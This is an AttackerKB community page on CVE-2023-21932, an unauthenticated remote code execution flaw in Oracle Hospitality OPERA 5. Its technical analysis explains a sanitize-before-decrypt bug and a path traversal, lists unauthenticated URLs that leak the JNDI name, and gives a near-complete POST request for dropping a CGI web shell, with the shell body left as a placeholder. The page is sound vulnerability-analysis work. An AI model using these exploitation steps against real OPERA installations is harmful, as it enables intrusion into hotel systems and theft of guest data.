High
CVE-2023-21932
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2023-21932
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
Vulnerability in the Oracle Hospitality OPERA 5 Property Services product of Oracle Hospitality Applications (component: OXI). The supported version that is affected is 5.6. Difficult to exploit vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Hospitality OPERA 5 Property Services. While the vulnerability is in Oracle Hospitality OPERA 5 Property Services, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Hospitality OPERA 5 Property Services accessible data as well as unauthorized update, insert or delete access to some of Oracle Hospitality OPERA 5 Property Services accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Hospitality OPERA 5 Property Services. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:L).
Add Assessment
Ratings
-
Attacker ValueHigh
-
ExploitabilityVery High
Technical Analysis
Reasoning Behind Exploitability and Attacker Value
This is an unauthenticated remote code execution vulnerability – I’m not exactly sure why NVD gave this a 7.2: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:L
, but it seems like an incorrect assessment. The vectors that confuse me in NVD’s assessment are:
- Attack Complexity (AC): High
- Privileges Required (PR): High
It seems to me these should be Low
and None
respectively as privileges are not required to obtain RCE and the attack is not complex. There is a point and shoot unauthenticated RCE PoC publicly available online. If I had to guess why NVD gave it such a low score (if it wasn’t a mistake) would be that in order to exploit you need to know the static keys Oracle Opera uses to encrypt strings. However the researchers at AssetNote published the encryption routine with the static keys used by the application in their PoC.
Oracle Opera is a heavily used application and in my opinion this vulnerability should be considered critical.
Vulnerability Details
This is an order of operations bug in Oracle Opera, a widely used hotel and property management software. The vulnerability stems from an unfortunate developer oversight in the FileReceiver
endpoint which accepts the parameters and is accessible without authentication:
String filename = SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("filename")); String crc = SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("crc")); String append = SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("append")); String jndiname = DES.decrypt(SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("jndiname"))); String username = DES.decrypt(SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("username")));
The above two parameters jndiname
and username
are both encrypted user controlled input. As you may notice the two parameters are sanitized BEFORE they are decrypted, rendering the sanitization useless. The attacker can then send any payload they wish via those two parameters without them being sanitized.
Following the code path of the FileReceiver
endpoint the application checks to see if the path is allowed via the following function (where schemaName
is the username
parameter accepted from the FileReceiver
endpoint):
public static boolean isAllowedPath(String sourcePath, String schemaName, String fileName) { boolean ret = false; try { if (sourcePath != null && sourcePath.length() > 0 && schemaName != null && schemaName.length() > 0 && fileName != null && fileName.length() > 0) { String adjustedSourcePath = (new File(sourcePath + File.separator + schemaName)).getCanonicalPath().toUpperCase(); String adjustedFileName = (new File(fileName)).getCanonicalPath().toUpperCase(); if (adjustedFileName.startsWith(adjustedSourcePath)) { ret = true; } else { throw new Exception("File[" + adjustedFileName + "] is not allowed at[" + adjustedSourcePath + "]"); } } else { throw new Exception("Either path, schema or filename is null"); } } catch (Exception e) { e.printStackTrace(); } return ret; }
With the line of interest being:
String adjustedSourcePath = (new File(sourcePath + File.separator + schemaName)).getCanonicalPath().toUpperCase();
If schemaName
= "foo/../../../../../"
then adjustedSourcePath
will be equal to "D:\"
and the attacker will have the ability to an write arbitrary file to the D:\
directory (which is where the Oracle Opera application needs to be installed as per Oracle documentation).
Now the above explains how to write arbitrary files to the system but not how to obtain unauthenticated RCE. There’s still two main blockers:
- Knowing the JNDI name needed for exploitation.
- Knowing how to encrypt the
jndiname
andusername
in order for the application (FileReceiver
endpoint) to be able to decrypt them successfully.
Luckily for the attacker both of the above issues can easily be resolved.
The JNDI connection name can be found by visiting the following unauthenticated URLs:
https://example.com/Operajserv/OXIServlets/CRSStatus?info=true https://example.com/Operajserv/OXIServlets/BEInterface?info=true https://example.com/Operajserv/OXIServlets/ExportReceiver?info=true
As for the knowing of the encrypted parameters sent to FileReceiver
, Oracle Opera uses static keys to encrypt strings. The researchers at Assetnote were able to recreate their encryption routine and used it in order to encrypt the necessary parts (username
, jndiname
) of the payload.
The POST request below uses the arbitrary file upload to drop a CGI web shell onto the local file system that can be accessed remotely to execute commands in the context of the user running the Oracle Opera instance. Perl comes installed with Opera and will be available on the target system making Perl the default choice for a web shell in this scenario.
POST /Operajserv/webarchive/FileReceiver?filename=D:\MICROS\opera\operaias\cgi-bin\80088941a432b4458e492b7686a88da6.cgi&crc=588&trace=ON©toexpdir=1&jndiname=0c919bc95270f6921e102ab8ae52e497&username=f56ade9e2d01a95d782dc04e5fa4481309a563c219036e25&append=1 HTTP/1.1 Host: example.com User-Agent: curl/7.79.1 Accept: */* Content-Length: 588 Content-Type: multipart/form-data; boundary=------------------------e58fd172ced7d9dc Connection: close <place perl webshell here>
References
https://blog.assetnote.io/2023/04/30/rce-oracle-opera/
https://nvd.nist.gov/vuln/detail/CVE-2023-21932
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportRatings
Technical Analysis
A July 2024 bulletin from multiple U.S. government agencies indicates that North Korean state-sponsored attackers have demonstrated interest in this vulnerability — not immediately clear whether it was exploited or just used in reconnaissance/target selection: https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- oracle
Products
- hospitality opera 5 property services 5.6
References
Additional Info
Technical Analysis
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: